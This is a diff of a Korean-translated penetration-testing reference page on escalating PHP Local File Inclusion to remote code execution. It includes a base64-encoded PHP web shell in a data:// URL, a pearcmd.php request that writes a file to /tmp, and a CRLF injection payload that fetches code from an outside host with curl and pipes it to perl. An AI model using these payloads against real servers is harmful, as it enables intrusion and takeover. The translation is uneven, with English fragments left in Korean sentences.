"."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### php filters를 통한 방법 (파일 불필요) +### Via php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 즉, include에 사용할 **임의의 php 코드를 생성할 수 있으며** **파일로 작성할 필요 없이** 가능합니다. +이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters to generate arbitrary content**을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 **generate arbitrary php code**를 파일에 **without needing to write** 하지 않고 생성할 수 있다는 뜻입니다. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### segmentation fault를 통한 방법 +### Via segmentation fault -파일을 업로드하면 `/tmp`에 임시로 저장됩니다. 같은 요청에서 segmentation fault를 발생시키면 임시 파일이 삭제되지 않고 해당 파일을 검색할 수 있습니다. +**Upload**한 파일이 `/tmp`에 **temporary**로 저장된 다음, 같은 **request**에서 **segmentation fault**를 유발하면 해당 **temporary file won't be deleted** 상태가 되어 파일을 찾을 수 있습니다. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Nginx 임시 파일 저장을 통한 방법 +### Via Nginx temp file storage -Local File Inclusion을 발견했고 Nginx가 PHP 앞단에서 동작 중이라면, 다음 기법으로 RCE를 얻을 수 있습니다: +만약 **Local File Inclusion**을 찾았고 **Nginx**가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법 +### Via PHP_SESSION_UPLOAD_PROGRESS -세션이 없고 `session.auto_start`가 `Off`인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다: +세션이 없고 `session.auto_start`가 `Off`인 경우에도 **Local File Inclusion**을 찾았다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 자동으로 **enable the session for you** 합니다. 이를 악용해 RCE를 얻을 수 있습니다: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Windows에서 임시 파일 업로드를 통한 방법 +### Via temp file uploads in Windows -Local File Inclusion을 발견했고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다: +**Local File Inclusion**을 찾았고 서버가 **Windows**에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### `pearcmd.php` + URL args를 통한 방법 +### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker 이미지에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어 URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)와 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요. +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 `=`가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 및 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요. The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -다음은 CRLF vuln을 악용하여 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### phpinfo()를 통해 (file_uploads = on) +### phpinfo() (file_uploads = on)을 통해 -만약 **Local File Inclusion**을 발견했고 phpinfo()가 노출되어 있으며 file_uploads = on이라면 RCE를 얻을 수 있습니다: +만약 **Local File Inclusion**을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다: {{#ref}} @@ -633,7 +633,7 @@ lfi2rce-via-phpinfo.md ### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해 -만약 **Local File Inclusion**을 발견했고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 **PHP marks**가 있는지 **checking**하고 있다면, 이 **Race Condition**으로 그 검증을 **bypass**해볼 수 있습니다: +만약 **Local File Inclusion**을 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 PHP 마크가 있는지 **검사**한다면, 이 **Race Condition**으로 그 검사를 **우회**해볼 수 있습니다: {{#ref}} @@ -642,7 +642,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### eternal waiting + bruteforce를 통해 -만약 LFI를 악용해 **임시 파일을 upload**할 수 있고 서버의 PHP 실행을 **hang**시키게 만들 수 있다면, 수시간에 걸쳐 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다: +만약 LFI를 악용해 **임시 파일을 업로드**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 **brute force로 파일명**을 시도해 임시 파일을 찾을 수 있습니다: {{#ref}} @@ -651,13 +651,14 @@ lfi2rce-via-eternal-waiting.md ### Fatal Error로 -다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (그 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다). +다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다). -**이게 어떻게 유용한지는 모르겠지만 가능성은 있어 보입니다.**\ -_설령 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일들은 삭제됩니다._ +**이게 어떻게 유용한지는 모르겠지만 가능성은 있습니다.**\ +_심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
+ ## 참고자료 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)